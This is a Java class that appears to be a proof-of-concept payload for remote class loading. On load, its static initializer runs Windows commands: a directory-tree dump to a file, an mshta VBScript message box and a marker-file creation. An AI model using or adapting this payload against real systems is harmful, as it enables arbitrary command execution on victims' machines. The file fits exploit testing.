package com.test.romoteclass;

import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;

public class ExportObject {
    static {

        try {
            String[] cmd = {"cmd", "/C", "tree /F >info.txt"};
            Process proc = Runtime.getRuntime().exec(cmd);
            cmd = new String[]{"cmd", "/C", "mshta vbscript:msgbox(\"" + URLDecoder.decode("%E6%B3%BD%E8%B5%A2%E6%B2%99%E9%9B%95", "UTF-8") + "\",64,\"Title\")(window.close)"};
            Runtime.getRuntime().exec(cmd);

            Runtime.getRuntime().exec(cmd);
            File file = new File("testCreate");
            if (!file.exists()) {
                file.createNewFile();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
